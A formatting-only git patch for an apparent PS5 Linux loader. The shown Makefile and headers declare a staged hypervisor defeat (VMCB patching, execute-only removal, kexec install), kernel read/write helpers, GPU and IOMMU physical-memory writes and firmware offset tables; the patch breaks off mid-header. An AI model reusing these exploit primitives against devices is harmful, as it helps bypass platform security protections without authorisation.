From f87828b554bd417cab0e0c4118374a3c56fd522c Mon Sep 17 00:00:00 2001 From: Andy Nguyen Date: Tue, 12 May 2026 23:01:40 +0200 Subject: [PATCH] Format code. --- Makefile | 74 +- include/config.h | 68 +- include/gpu.h | 140 +-- include/hv_defeat.h | 38 +- include/iommu.h | 92 +- include/loader.h | 19 +- include/main.h | 16 +- include/offsets.h | 104 +- include/tmr.h | 38 +- include/utils.h | 341 +++--- logo.webp | Bin 502208 -> 499985 bytes shellcode_hypervisor/Makefile | 78 +- shellcode_hypervisor/bin_to_c_hypervisor.py | 92 +- shellcode_hypervisor/boot_linux.c | 4 +- shellcode_hypervisor/boot_linux.h | 100 +- shellcode_hypervisor/linker.ld | 36 +- shellcode_hypervisor/main.c | 66 +- shellcode_hypervisor/main.h | 6 +- .../shellcode_hypervisor_args.h | 18 +- shellcode_hypervisor/utils.c | 228 ++-- shellcode_hypervisor/utils.h | 56 +- shellcode_kernel/Makefile | 80 +- shellcode_kernel/bin_to_c_kernel.py | 96 +- shellcode_kernel/kernel_code.h | 36 +- shellcode_kernel/linker.ld | 34 +- shellcode_kernel/main.c | 581 +++++----- shellcode_kernel/main.h | 130 +-- shellcode_kernel/shellcode_kernel_args.h | 74 +- shellcode_kernel/utils.c | 154 +-- shellcode_kernel/utils.h | 86 +- source/firmware.c | 8 +- source/gpu.c | 990 +++++++++--------- source/hv_defeat.c | 588 +++++------ source/iommu.c | 206 ++-- source/loader.c | 17 +- source/main.c | 358 +++---- source/offsets.c | 614 +++++------ source/tmr.c | 24 +- source/utils.c | 558 +++++----- 39 files changed, 3121 insertions(+), 3127 deletions(-) diff --git a/Makefile b/Makefile index 710943d..a5e7676 100644 --- a/Makefile +++ b/Makefile @@ -1,37 +1,37 @@ -.PHONY: all clean - -ifndef PS5_PAYLOAD_SDK - PS5_PAYLOAD_SDK = /opt/ps5-payload-sdk/ -endif - -include $(PS5_PAYLOAD_SDK)/toolchain/prospero.mk - -BIN := bin/ps5-linux-loader.elf -SRC := $(wildcard source/*.c) -OBJS := $(SRC:.c=.o) - -CFLAGS := -std=c23 -Wall -Iinclude -Ishellcode_hypervisor -Ishellcode_kernel -LDFLAGS := - -SC_HV_H := shellcode_hypervisor/shellcode_hypervisor.h -SC_K_H := shellcode_kernel/shellcode_kernel.h - -all: $(SC_HV_H) $(SC_K_H) $(BIN) - -$(SC_HV_H): - $(MAKE) -C shellcode_hypervisor - -$(SC_K_H): - $(MAKE) -C shellcode_kernel - -$(OBJS): %.o: %.c - $(CC) $(CFLAGS) -c -o $@ $< - -$(BIN): $(OBJS) - @mkdir -p $(dir $@) - $(CC) $(OBJS) $(LDFLAGS) -o $@ - -clean: - rm -f $(BIN) $(OBJS) - $(MAKE) -C shellcode_hypervisor clean - $(MAKE) -C shellcode_kernel clean +.PHONY: all clean + +ifndef PS5_PAYLOAD_SDK + PS5_PAYLOAD_SDK = /opt/ps5-payload-sdk/ +endif + +include $(PS5_PAYLOAD_SDK)/toolchain/prospero.mk + +BIN := bin/ps5-linux-loader.elf +SRC := $(wildcard source/*.c) +OBJS := $(SRC:.c=.o) + +CFLAGS := -std=c23 -Wall -Iinclude -Ishellcode_hypervisor -Ishellcode_kernel +LDFLAGS := + +SC_HV_H := shellcode_hypervisor/shellcode_hypervisor.h +SC_K_H := shellcode_kernel/shellcode_kernel.h + +all: $(SC_HV_H) $(SC_K_H) $(BIN) + +$(SC_HV_H): + $(MAKE) -C shellcode_hypervisor + +$(SC_K_H): + $(MAKE) -C shellcode_kernel + +$(OBJS): %.o: %.c + $(CC) $(CFLAGS) -c -o $@ $< + +$(BIN): $(OBJS) + @mkdir -p $(dir $@) + $(CC) $(OBJS) $(LDFLAGS) -o $@ + +clean: + rm -f $(BIN) $(OBJS) + $(MAKE) -C shellcode_hypervisor clean + $(MAKE) -C shellcode_kernel clean diff --git a/include/config.h b/include/config.h index 69fa15b..f2fd709 100644 --- a/include/config.h +++ b/include/config.h @@ -1,34 +1,34 @@ -#ifndef CONFIG_H -#define CONFIG_H - -#define PAGE_SIZE 0x4000ULL - -// This is used to allocate resources for HV shellcode and Linux boot -#define cave 0x100000000ULL -#define cave_hv_paging cave -#define cave_hv_code \ - cave_hv_paging + 0x3000ULL // Leave space for 3 pages but we only use 2 for - // 1GB 1:1 mapping -#define cave_linux_files cave_hv_code + 0x2000ULL -#define cave_linux_info cave_linux_files -#define cave_bzImage cave_linux_info + PAGE_SIZE -// #define cave_initrd // Allocated dynamically after bzImage - -#define hv_base_rsp (cave + 0x10000000ULL) -#define hv_stack_size 0x1000ULL - -// This is used as transitional storage from ProsperoOS to Kernel shellcode -#define kernel_cave_files 0xFFFF800000000000 -#define kernel_cave_linux_info kernel_cave_files -#define kernel_cave_bzImage kernel_cave_linux_info + PAGE_SIZE -// #define kernel_cave_initrd // Allocated dynamically after bzImage - -// Linux boot config -#define VRAM_SIZE (512ULL * 1024 * 1024) -#define CMD_LINE \ - "root=/dev/sda2 rw rootwait console=ttyTitania0 console=tty0 " \ - "video=DP-1:1920x1080@60 mitigations=off idle=halt pci=pcie_bus_perf" - -#define DEBUG 0 // Toggle to 0 to disable logs - -#endif \ No newline at end of file +#ifndef CONFIG_H +#define CONFIG_H + +#define PAGE_SIZE 0x4000ULL + +// This is used to allocate resources for HV shellcode and Linux boot +#define cave 0x100000000ULL +#define cave_hv_paging cave +#define cave_hv_code \ + cave_hv_paging + 0x3000ULL // Leave space for 3 pages but we only use 2 for + // 1GB 1:1 mapping +#define cave_linux_files cave_hv_code + 0x2000ULL +#define cave_linux_info cave_linux_files +#define cave_bzImage cave_linux_info + PAGE_SIZE +// #define cave_initrd // Allocated dynamically after bzImage + +#define hv_base_rsp (cave + 0x10000000ULL) +#define hv_stack_size 0x1000ULL + +// This is used as transitional storage from ProsperoOS to Kernel shellcode +#define kernel_cave_files 0xFFFF800000000000 +#define kernel_cave_linux_info kernel_cave_files +#define kernel_cave_bzImage kernel_cave_linux_info + PAGE_SIZE +// #define kernel_cave_initrd // Allocated dynamically after bzImage + +// Linux boot config +#define VRAM_SIZE (512ULL * 1024 * 1024) +#define CMD_LINE \ + "root=/dev/sda2 rw rootwait console=ttyTitania0 console=tty0 " \ + "video=DP-1:1920x1080@60 mitigations=off idle=halt pci=pcie_bus_perf" + +#define DEBUG 0 // Toggle to 0 to disable logs + +#endif diff --git a/include/gpu.h b/include/gpu.h index 127c6b7..c8b6aad 100644 --- a/include/gpu.h +++ b/include/gpu.h @@ -1,70 +1,70 @@ -/*** Source: ps5-hen by cragson ***/ - -#ifndef GPU_H -#define GPU_H - -#include - -#define GPU_PDE_VALID_BIT 0 -#define GPU_PDE_IS_PTE_BIT 54 -#define GPU_PDE_TF_BIT 56 -#define GPU_PDE_BLOCK_FRAG_BIT 59 -#define GPU_PDE_ADDR_MASK 0x0000FFFFFFFFFFC0ULL - -#define PROT_GPU_READ 0x10 -#define PROT_GPU_WRITE 0x20 -#define MAP_NO_COALESCE 0x00400000 - -#define GPU_SUBMIT_IOCTL 0xC0108102 - -#define PM4_TYPE3 3 -#define PM4_SHADER_COMPUTE 1 -#define PM4_OPCODE_DMA_DATA 0x50 -#define PM4_OPCODE_INDIRECT_BUF 0x3F - -struct gpu_kernel_offsets { - uint64_t proc_vmspace; // proc->p_vmspace offset - uint64_t vmspace_vm_vmid; // vmspace->vm_vmid offset - uint64_t data_base_gvmspace; // offset from kernel data base to gvmspace array - uint64_t sizeof_gvmspace; // size of each gvmspace entry - uint64_t gvmspace_page_dir_va; // gvmspace->page_dir_va offset (GPU PDB2) - uint64_t gvmspace_size; // gvmspace->size offset - uint64_t gvmspace_start_va; // gvmspace->start_va offset -}; - -struct gpu_ctx { - int fd; // /dev/gc file descriptor - int initialized; // 1 if gpu_init() succeeded - - uint64_t victim_va; // CPU VA of victim buffer (GPU PTE remapped) - uint64_t transfer_va; // CPU VA of transfer/staging buffer - uint64_t cmd_va; // CPU VA of PM4 command buffer - - uint64_t victim_real_pa; // original physical address of victim buffer - uint64_t victim_ptbe_va; // kernel VA of the GPU PTE for victim buffer - uint64_t cleared_ptbe; // GPU PTE with physical address cleared (template) - uint64_t page_size; // GPU page size for victim allocation (should be 2MB) - uint64_t dmem_size; // allocation size (2MB) -}; - -void gpu_set_offsets(struct gpu_kernel_offsets *offsets); - -int gpu_init(void); -int gpu_init_internal(void); - -int gpu_test(void); - -int gpu_read_phys(uint64_t phys_addr, void *out_buf, uint32_t size); -uint8_t gpu_read_phys1(uint64_t phys_addr); -uint32_t gpu_read_phys4(uint64_t phys_addr); -uint64_t gpu_read_phys8(uint64_t phys_addr); - -int gpu_write_phys(uint64_t phys_addr, const void *in_buf, uint32_t size); -void gpu_write_phys4(uint64_t phys_addr, uint32_t value); -void gpu_write_phys8(uint64_t phys_addr, uint64_t value); - -void gpu_cleanup(void); - -struct gpu_ctx *gpu_get_ctx(void); - -#endif \ No newline at end of file +/*** Source: ps5-hen by cragson ***/ + +#ifndef GPU_H +#define GPU_H + +#include + +#define GPU_PDE_VALID_BIT 0 +#define GPU_PDE_IS_PTE_BIT 54 +#define GPU_PDE_TF_BIT 56 +#define GPU_PDE_BLOCK_FRAG_BIT 59 +#define GPU_PDE_ADDR_MASK 0x0000FFFFFFFFFFC0ULL + +#define PROT_GPU_READ 0x10 +#define PROT_GPU_WRITE 0x20 +#define MAP_NO_COALESCE 0x00400000 + +#define GPU_SUBMIT_IOCTL 0xC0108102 + +#define PM4_TYPE3 3 +#define PM4_SHADER_COMPUTE 1 +#define PM4_OPCODE_DMA_DATA 0x50 +#define PM4_OPCODE_INDIRECT_BUF 0x3F + +struct gpu_kernel_offsets { + uint64_t proc_vmspace; // proc->p_vmspace offset + uint64_t vmspace_vm_vmid; // vmspace->vm_vmid offset + uint64_t data_base_gvmspace; // offset from kernel data base to gvmspace array + uint64_t sizeof_gvmspace; // size of each gvmspace entry + uint64_t gvmspace_page_dir_va; // gvmspace->page_dir_va offset (GPU PDB2) + uint64_t gvmspace_size; // gvmspace->size offset + uint64_t gvmspace_start_va; // gvmspace->start_va offset +}; + +struct gpu_ctx { + int fd; // /dev/gc file descriptor + int initialized; // 1 if gpu_init() succeeded + + uint64_t victim_va; // CPU VA of victim buffer (GPU PTE remapped) + uint64_t transfer_va; // CPU VA of transfer/staging buffer + uint64_t cmd_va; // CPU VA of PM4 command buffer + + uint64_t victim_real_pa; // original physical address of victim buffer + uint64_t victim_ptbe_va; // kernel VA of the GPU PTE for victim buffer + uint64_t cleared_ptbe; // GPU PTE with physical address cleared (template) + uint64_t page_size; // GPU page size for victim allocation (should be 2MB) + uint64_t dmem_size; // allocation size (2MB) +}; + +void gpu_set_offsets(struct gpu_kernel_offsets *offsets); + +int gpu_init(void); +int gpu_init_internal(void); + +int gpu_test(void); + +int gpu_read_phys(uint64_t phys_addr, void *out_buf, uint32_t size); +uint8_t gpu_read_phys1(uint64_t phys_addr); +uint32_t gpu_read_phys4(uint64_t phys_addr); +uint64_t gpu_read_phys8(uint64_t phys_addr); + +int gpu_write_phys(uint64_t phys_addr, const void *in_buf, uint32_t size); +void gpu_write_phys4(uint64_t phys_addr, uint32_t value); +void gpu_write_phys8(uint64_t phys_addr, uint64_t value); + +void gpu_cleanup(void); + +struct gpu_ctx *gpu_get_ctx(void); + +#endif diff --git a/include/hv_defeat.h b/include/hv_defeat.h index 0d11ef3..a2fdeff 100644 --- a/include/hv_defeat.h +++ b/include/hv_defeat.h @@ -1,19 +1,19 @@ -#ifndef HV_DEFEAT_H -#define HV_DEFEAT_H - -#include "iommu.h" -#include - -int hv_defeat(void); -int stage1_tmr_relax(void); -int stage2_find_vmcbs(void); -uint64_t get_vmcb(int core); -int iommu_selftest(void); -int stage3_patch_vmcbs(void); -int stage4_force_vmcb_reload(void); -int stage5_remove_xotext(void); -int stage6_kernel_pmap_invalidate_all(void); -int stage7_install_kexec(void); -int kexec(uint64_t fptr); - -#endif \ No newline at end of file +#ifndef HV_DEFEAT_H +#define HV_DEFEAT_H + +#include "iommu.h" +#include + +int hv_defeat(void); +int stage1_tmr_relax(void); +int stage2_find_vmcbs(void); +uint64_t get_vmcb(int core); +int iommu_selftest(void); +int stage3_patch_vmcbs(void); +int stage4_force_vmcb_reload(void); +int stage5_remove_xotext(void); +int stage6_kernel_pmap_invalidate_all(void); +int stage7_install_kexec(void); +int kexec(uint64_t fptr); + +#endif diff --git a/include/iommu.h b/include/iommu.h index 47a940c..81b685d 100644 --- a/include/iommu.h +++ b/include/iommu.h @@ -1,46 +1,46 @@ -/*** Source: ps5-hen by cragson ***/ - -#ifndef IOMMU_H -#define IOMMU_H - -#include - -// Command buffer MMIO offsets -#define IOMMU_MMIO_CB_HEAD 0xa000 -#define IOMMU_MMIO_CB_TAIL 0xa008 - -// Queue constants -#define IOMMU_CB_SIZE 0x2000 -#define IOMMU_CB_MASK (IOMMU_CB_SIZE - 1) -#define IOMMU_CMD_ENTRY_SIZE 0x10 - -// IOMMU softc field offsets -#define IOMMU_SC_MMIO_VA 0x40 -#define IOMMU_SC_CB2_PTR 0x78 -#define IOMMU_SC_CB3_PTR 0x80 -#define IOMMU_SC_EB_PTR 0x60b90 - -typedef struct _iommu_ctx { - uint64_t cb2_base; // kernel VA of command buffer 2 (hv terminology) - uint64_t cb3_base; // kernel VA of command buffer 3 (hv terminology) - uint64_t eb_base; // kernel VA of event buffer - uint64_t mmio_va; // DMAP VA of IOMMU MMIO base -} iommu_ctx; - -extern iommu_ctx iommu_store; -extern iommu_ctx *iommu; - -int iommu_init(void); - -// Submit a single 16-byte command and wait for completion -void iommu_submit_cmd(const void *cmd); -// Write 8 bytes to a physical address using IOMMU completion wait store -void iommu_write8_pa(uint64_t pa, uint64_t val); - -// Write 4 bytes to a physical address -void iommu_write4_pa(uint64_t pa, uint32_t val); - -// Write arbitrary length to a physical address in 8-byte chunks -void iommu_write_pa(uint64_t pa, const void *data, uint32_t len); - -#endif \ No newline at end of file +/*** Source: ps5-hen by cragson ***/ + +#ifndef IOMMU_H +#define IOMMU_H + +#include + +// Command buffer MMIO offsets +#define IOMMU_MMIO_CB_HEAD 0xa000 +#define IOMMU_MMIO_CB_TAIL 0xa008 + +// Queue constants +#define IOMMU_CB_SIZE 0x2000 +#define IOMMU_CB_MASK (IOMMU_CB_SIZE - 1) +#define IOMMU_CMD_ENTRY_SIZE 0x10 + +// IOMMU softc field offsets +#define IOMMU_SC_MMIO_VA 0x40 +#define IOMMU_SC_CB2_PTR 0x78 +#define IOMMU_SC_CB3_PTR 0x80 +#define IOMMU_SC_EB_PTR 0x60b90 + +typedef struct _iommu_ctx { + uint64_t cb2_base; // kernel VA of command buffer 2 (hv terminology) + uint64_t cb3_base; // kernel VA of command buffer 3 (hv terminology) + uint64_t eb_base; // kernel VA of event buffer + uint64_t mmio_va; // DMAP VA of IOMMU MMIO base +} iommu_ctx; + +extern iommu_ctx iommu_store; +extern iommu_ctx *iommu; + +int iommu_init(void); + +// Submit a single 16-byte command and wait for completion +void iommu_submit_cmd(const void *cmd); +// Write 8 bytes to a physical address using IOMMU completion wait store +void iommu_write8_pa(uint64_t pa, uint64_t val); + +// Write 4 bytes to a physical address +void iommu_write4_pa(uint64_t pa, uint32_t val); + +// Write arbitrary length to a physical address in 8-byte chunks +void iommu_write_pa(uint64_t pa, const void *data, uint32_t len); + +#endif diff --git a/include/loader.h b/include/loader.h index 8121b6c..fa4d01e 100644 --- a/include/loader.h +++ b/include/loader.h @@ -1,10 +1,9 @@ -#include "utils.h" -#include - -uint64_t alloc_page(void); -void install_page(uintptr_t pml4, vm_offset_t va, vm_paddr_t pa, - int bits); -void pte_store(uintptr_t ptep, uint64_t pte); -int read_file(const char *path, void *buf, size_t bufsize); -void trim_newline(char *s); -int fetch_linux(struct linux_info *info); +#include "utils.h" +#include + +uint64_t alloc_page(void); +void install_page(uintptr_t pml4, vm_offset_t va, vm_paddr_t pa, int bits); +void pte_store(uintptr_t ptep, uint64_t pte); +int read_file(const char *path, void *buf, size_t bufsize); +void trim_newline(char *s); +int fetch_linux(struct linux_info *info); diff --git a/include/main.h b/include/main.h index 5a78268..fe92a27 100644 --- a/include/main.h +++ b/include/main.h @@ -1,8 +1,8 @@ -#ifndef MAIN_H -#define MAIN_H - -int main(void); -int setup_env(void); -int prepare_resume(void); - -#endif \ No newline at end of file +#ifndef MAIN_H +#define MAIN_H + +int main(void); +int setup_env(void); +int prepare_resume(void); + +#endif diff --git a/include/offsets.h b/include/offsets.h index aebd773..1225b8a 100644 --- a/include/offsets.h +++ b/include/offsets.h @@ -1,52 +1,52 @@ -#ifndef OFFSETS_H -#define OFFSETS_H - -#include - -typedef struct _offset_list { - uint64_t PMAP_STORE; - uint64_t HV_VCPU; // Needed for 1.xx and 2.xx - uint64_t HV_VCPU_CPUID; // Needed for 1.xx and 2.xx - uint64_t HV_VCPU_ARRAY_OFF; // Needed for 1.xx and 2.xx - uint64_t HV_VCPU_STRIDE; // Needed for 1.xx and 2.xx - uint64_t HV_VCPU_VMCB_PTR; // Needed for 1.xx and 2.xx - uint64_t KERNEL_CODE_CAVE; - uint64_t KERNEL_DATA_CAVE; - uint64_t IOMMU_SOFTC; - uint64_t VMSPACE_VM_VMID; - uint64_t VMSPACE_VM_PMAP; - uint64_t PMAP_PM_PML4; - uint64_t PMAP_PM_CR3; - uint64_t DATA_BASE_GVMSPACE; - uint64_t HOOK_ACPI_WAKEUP_MACHDEP; - uint64_t FUN_PRINTF; - uint64_t FUN_VA_TO_PA; - uint64_t FUN_HV_IOMMU_SET_BUFFERS; - uint64_t FUN_HV_IOMM_WAIT_COMPLETION; - uint64_t FUN_SMP_RENDEZVOUS; - uint64_t FUN_SMP_NO_RENDEVOUS_BARRIER; - uint64_t HV_HANDLE_VMEXIT_PA; - uint64_t HV_CODE_CAVE_PA; - uint64_t HV_UART_OVERRIDE_PA; - uint64_t G_VBIOS; - uint64_t FUN_TRANSMITTER_CONTROL; - uint64_t FUN_MP3_INITIALIZE; - uint64_t FUN_MP3_INVOKE; - uint64_t KERNEL_UART_OVERRIDE; - uint64_t KERNEL_DEBUG_PATCH; - uint64_t KERNEL_CFI_CHECK; - uint64_t PS5_WIFI_FW_OFFSET; - uint64_t PS5_WIFI_FW_SIZE; -} offset_list; - -extern offset_list off_0300; -extern offset_list off_0310; -extern offset_list off_0320; -extern offset_list off_0321; -extern offset_list off_0400; -extern offset_list off_0402; -extern offset_list off_0403; -extern offset_list off_0450; -extern offset_list off_0451; - -#endif +#ifndef OFFSETS_H +#define OFFSETS_H + +#include + +typedef struct _offset_list { + uint64_t PMAP_STORE; + uint64_t HV_VCPU; // Needed for 1.xx and 2.xx + uint64_t HV_VCPU_CPUID; // Needed for 1.xx and 2.xx + uint64_t HV_VCPU_ARRAY_OFF; // Needed for 1.xx and 2.xx + uint64_t HV_VCPU_STRIDE; // Needed for 1.xx and 2.xx + uint64_t HV_VCPU_VMCB_PTR; // Needed for 1.xx and 2.xx + uint64_t KERNEL_CODE_CAVE; + uint64_t KERNEL_DATA_CAVE; + uint64_t IOMMU_SOFTC; + uint64_t VMSPACE_VM_VMID; + uint64_t VMSPACE_VM_PMAP; + uint64_t PMAP_PM_PML4; + uint64_t PMAP_PM_CR3; + uint64_t DATA_BASE_GVMSPACE; + uint64_t HOOK_ACPI_WAKEUP_MACHDEP; + uint64_t FUN_PRINTF; + uint64_t FUN_VA_TO_PA; + uint64_t FUN_HV_IOMMU_SET_BUFFERS; + uint64_t FUN_HV_IOMM_WAIT_COMPLETION; + uint64_t FUN_SMP_RENDEZVOUS; + uint64_t FUN_SMP_NO_RENDEVOUS_BARRIER; + uint64_t HV_HANDLE_VMEXIT_PA; + uint64_t HV_CODE_CAVE_PA; + uint64_t HV_UART_OVERRIDE_PA; + uint64_t G_VBIOS; + uint64_t FUN_TRANSMITTER_CONTROL; + uint64_t FUN_MP3_INITIALIZE; + uint64_t FUN_MP3_INVOKE; + uint64_t KERNEL_UART_OVERRIDE; + uint64_t KERNEL_DEBUG_PATCH; + uint64_t KERNEL_CFI_CHECK; + uint64_t PS5_WIFI_FW_OFFSET; + uint64_t PS5_WIFI_FW_SIZE; +} offset_list; + +extern offset_list off_0300; +extern offset_list off_0310; +extern offset_list off_0320; +extern offset_list off_0321; +extern offset_list off_0400; +extern offset_list off_0402; +extern offset_list off_0403; +extern offset_list off_0450; +extern offset_list off_0451; + +#endif diff --git a/include/tmr.h b/include/tmr.h index 55f9214..60aa9ac 100644 --- a/include/tmr.h +++ b/include/tmr.h @@ -1,19 +1,19 @@ -#ifndef TMR_H -#define TMR_H - -#include - -#define ECAM_B0D18F2 dmap + (0xF0000000ULL + 0x18ULL * 0x8000 + 2 * 0x1000) -#define TMR_INDEX_OFF 0x80 -#define TMR_DATA_OFF 0x84 - -#define TMR_BASE(n) ((n) * 0x10 + 0x00) -#define TMR_LIMIT(n) ((n) * 0x10 + 0x04) -#define TMR_CONFIG(n) ((n) * 0x10 + 0x08) -#define TMR_REQUESTORS(n) ((n) * 0x10 + 0x0C) -#define TMR_CFG_PERMISSIVE 0x3F07 - -uint32_t tmr_read(uint32_t addr); -void tmr_write(uint32_t addr, uint32_t val); - -#endif \ No newline at end of file +#ifndef TMR_H +#define TMR_H + +#include + +#define ECAM_B0D18F2 dmap + (0xF0000000ULL + 0x18ULL * 0x8000 + 2 * 0x1000) +#define TMR_INDEX_OFF 0x80 +#define TMR_DATA_OFF 0x84 + +#define TMR_BASE(n) ((n) * 0x10 + 0x00) +#define TMR_LIMIT(n) ((n) * 0x10 + 0x04) +#define TMR_CONFIG(n) ((n) * 0x10 + 0x08) +#define TMR_REQUESTORS(n) ((n) * 0x10 + 0x0C) +#define TMR_CFG_PERMISSIVE 0x3F07 + +uint32_t tmr_read(uint32_t addr); +void tmr_write(uint32_t addr, uint32_t val); + +#endif diff --git a/include/utils.h b/include/utils.h index cb71235..562e9b3 100644 --- a/include/utils.h +++ b/include/utils.h @@ -1,173 +1,168 @@ -#ifndef UTILS_H -#define UTILS_H - -#include "offsets.h" -#include -#include -#include -#include - -int sceKernelGetCurrentCpu(); -int sceKernelSendNotificationRequest(int, void *, size_t, int); -int sceKernelOpenEventFlag(void*, const char *); -int sceKernelNotifySystemSuspendStart(void); -int sceKernelSetEventFlag(void *, int); -int sceKernelCloseEventFlag(void*); - -typedef struct _sysent { - uint32_t n_arg; - uint32_t pad; - uint64_t sy_call; - uint64_t sy_auevent; - uint64_t sy_systrace_args; - uint32_t sy_entry; - uint32_t sy_return; - uint32_t sy_flags; - uint32_t sy_thrcnt; -} sysent; - -typedef struct __flat_pmap { - uint64_t mtx_name_ptr; - uint64_t mtx_flags; - uint64_t mtx_data; - uint64_t mtx_lock; - uint64_t pm_pml4; - uint64_t pm_cr3; -} flat_pmap; - -struct linux_info { - uintptr_t bzimage; - size_t bzimage_size; - uintptr_t initrd; - size_t initrd_size; - size_t vram_size; - char cmdline[2048]; - int kit_type; - uintptr_t linux_info; // PA of linux_info -}; - -/** These vars are global for the payload to simplify things */ -extern offset_list env_offset; // Defined on utils.c -extern uint64_t ktext; // Defined on utils.c -extern uint64_t kdata; // Defined on utils.c -extern uint64_t dmap; // Defined on utils.c -extern uint64_t cr3; // Defined on utils.c -extern uint32_t fw; // Defined on utils.c -extern uint64_t vmcb_pa[16]; // Defined on hv_defeat.c -extern struct linux_info linux_i; // Declared on main.c - -static inline void kwrite(uint64_t ka, void *src, uint64_t len) { - kernel_copyin(src, ka, len); -} - -static inline void kwrite64(uint64_t dst, uint64_t val) { - kernel_copyin(&val, dst, 8); -} - -static inline void kwrite32(uint64_t dst, uint32_t val) { - kernel_copyin(&val, dst, 4); -} - -static inline void kwrite8(uint64_t dst, uint8_t val) { - kernel_copyin(&val, dst, 1); -} - -static inline void kread(uint64_t ka, void *dst, uint64_t len) { - kernel_copyout(ka, dst, len); -} - -static inline uint64_t kread64(uint64_t src) { - uint64_t val; - kernel_copyout(src, &val, 8); - return val; -} - -static inline uint32_t kread32(uint64_t src) { - uint32_t val; - kernel_copyout(src, &val, 4); - return val; -} - -static inline uint8_t kread8(uint64_t src) { - uint8_t val; - kernel_copyout(src, &val, 1); - return val; -} - -int set_offsets(void); -int init_global_vars(void); -uint64_t get_offset_va(uint64_t offset); - -// Defines for Page management -#define ALIGN_UP(size, align) (((size) + (align) - 1) & ~((align) - 1)) -#define INKERNEL(va) (va & 0xFFFF000000000000) - -enum page_bits { - P = 0, - RW, - US, - PWT, - PCD, - A, - D, - PS, - G, - XO = 58, - PK = 59, - NX = 63 -}; - -#define PG_B_P (1ULL << P) -#define PG_B_RW (1ULL << RW) -#define PAGE_P(x) (x & (1ULL << P)) -#define PAGE_RW(x) (x & (1ULL << RW)) -#define PAGE_PS(x) (x & (1ULL << PS)) -#define PAGE_XO(x) (x & (1ULL << XO)) -#define PAGE_CLEAR_XO(x) (x &= ~(1ULL << XO)) -#define PAGE_CLEAR_G(x) (x &= ~(1ULL << G)) -#define PAGE_SET_RW(x) (x |= (1ULL << RW)) -#define PAGE_PA(x) (x & 0x000FFFFFFFFFF000ULL) -#define P_SIZE(l) ((l == 1) ? (1ULL << 30) : (1ULL << 21)) - -#define pmap_pml4e_index(va) ((va >> 39) & 0x1FF) -#define pmap_pdpe_index(va) ((va >> 30) & 0x1FF) -#define pmap_pde_index(va) ((va >> 21) & 0x1FF) -#define pmap_pte_index(va) ((va >> 12) & 0x1FF) - -uint64_t va_to_pa_user(uint64_t va); -uint64_t va_to_pa_kernel(uint64_t va); -uint64_t va_to_pa_custom(uint64_t va, uint64_t cr3_custom); -uint64_t pa_to_dmap(uint64_t pa); -void page_chain_set_rw(uint64_t va); -uint64_t page_remove_global(uint64_t va); - -uint64_t getpmap(uint64_t proc_ptr); -uint64_t get_pml4(uint64_t pmap); - -int pin_to_core(int n); -int pin_to_first_available_core(void); -void unpin(void); -void notify(const char *fmt, ...); -void notify_internal(uint8_t *msg); -void enter_rest_mode(void); - -#if DEBUG -#define DEBUG_PRINT(fmt, ...) printf(fmt, ##__VA_ARGS__) -#else -#define DEBUG_PRINT(fmt, ...) -#endif - - -bool if_exists(const char* path); -bool sceKernelIsTestKit(void); -bool sceKernelIsDevKit(void); - -enum kit_type { - KIT_RETAIL, - KIT_TESTKIT, - KIT_DEVKIT -}; - -enum kit_type get_kit_type(void); - -#endif +#ifndef UTILS_H +#define UTILS_H + +#include "offsets.h" +#include +#include +#include +#include + +int sceKernelGetCurrentCpu(); +int sceKernelSendNotificationRequest(int, void *, size_t, int); +int sceKernelOpenEventFlag(void *, const char *); +int sceKernelNotifySystemSuspendStart(void); +int sceKernelSetEventFlag(void *, int); +int sceKernelCloseEventFlag(void *); + +typedef struct _sysent { + uint32_t n_arg; + uint32_t pad; + uint64_t sy_call; + uint64_t sy_auevent; + uint64_t sy_systrace_args; + uint32_t sy_entry; + uint32_t sy_return; + uint32_t sy_flags; + uint32_t sy_thrcnt; +} sysent; + +typedef struct __flat_pmap { + uint64_t mtx_name_ptr; + uint64_t mtx_flags; + uint64_t mtx_data; + uint64_t mtx_lock; + uint64_t pm_pml4; + uint64_t pm_cr3; +} flat_pmap; + +struct linux_info { + uintptr_t bzimage; + size_t bzimage_size; + uintptr_t initrd; + size_t initrd_size; + size_t vram_size; + char cmdline[2048]; + int kit_type; + uintptr_t linux_info; // PA of linux_info +}; + +/** These vars are global for the payload to simplify things */ +extern offset_list env_offset; // Defined on utils.c +extern uint64_t ktext; // Defined on utils.c +extern uint64_t kdata; // Defined on utils.c +extern uint64_t dmap; // Defined on utils.c +extern uint64_t cr3; // Defined on utils.c +extern uint32_t fw; // Defined on utils.c +extern uint64_t vmcb_pa[16]; // Defined on hv_defeat.c +extern struct linux_info linux_i; // Declared on main.c + +static inline void kwrite(uint64_t ka, void *src, uint64_t len) { + kernel_copyin(src, ka, len); +} + +static inline void kwrite64(uint64_t dst, uint64_t val) { + kernel_copyin(&val, dst, 8); +} + +static inline void kwrite32(uint64_t dst, uint32_t val) { + kernel_copyin(&val, dst, 4); +} + +static inline void kwrite8(uint64_t dst, uint8_t val) { + kernel_copyin(&val, dst, 1); +} + +static inline void kread(uint64_t ka, void *dst, uint64_t len) { + kernel_copyout(ka, dst, len); +} + +static inline uint64_t kread64(uint64_t src) { + uint64_t val; + kernel_copyout(src, &val, 8); + return val; +} + +static inline uint32_t kread32(uint64_t src) { + uint32_t val; + kernel_copyout(src, &val, 4); + return val; +} + +static inline uint8_t kread8(uint64_t src) { + uint8_t val; + kernel_copyout(src, &val, 1); + return val; +} + +int set_offsets(void); +int init_global_vars(void); +uint64_t get_offset_va(uint64_t offset); + +// Defines for Page management +#define ALIGN_UP(size, align) (((size) + (align) - 1) & ~((align) - 1)) +#define INKERNEL(va) (va & 0xFFFF000000000000) + +enum page_bits { + P = 0, + RW, + US, + PWT, + PCD, + A, + D, + PS, + G, + XO = 58, + PK = 59, + NX = 63 +}; + +#define PG_B_P (1ULL << P) +#define PG_B_RW (1ULL << RW) +#define PAGE_P(x) (x & (1ULL << P)) +#define PAGE_RW(x) (x & (1ULL << RW)) +#define PAGE_PS(x) (x & (1ULL << PS)) +#define PAGE_XO(x) (x & (1ULL << XO)) +#define PAGE_CLEAR_XO(x) (x &= ~(1ULL << XO)) +#define PAGE_CLEAR_G(x) (x &= ~(1ULL << G)) +#define PAGE_SET_RW(x) (x |= (1ULL << RW)) +#define PAGE_PA(x) (x & 0x000FFFFFFFFFF000ULL) +#define P_SIZE(l) ((l == 1) ? (1ULL << 30) : (1ULL << 21)) + +#define pmap_pml4e_index(va) ((va >> 39) & 0x1FF) +#define pmap_pdpe_index(va) ((va >> 30) & 0x1FF) +#define pmap_pde_index(va) ((va >> 21) & 0x1FF) +#define 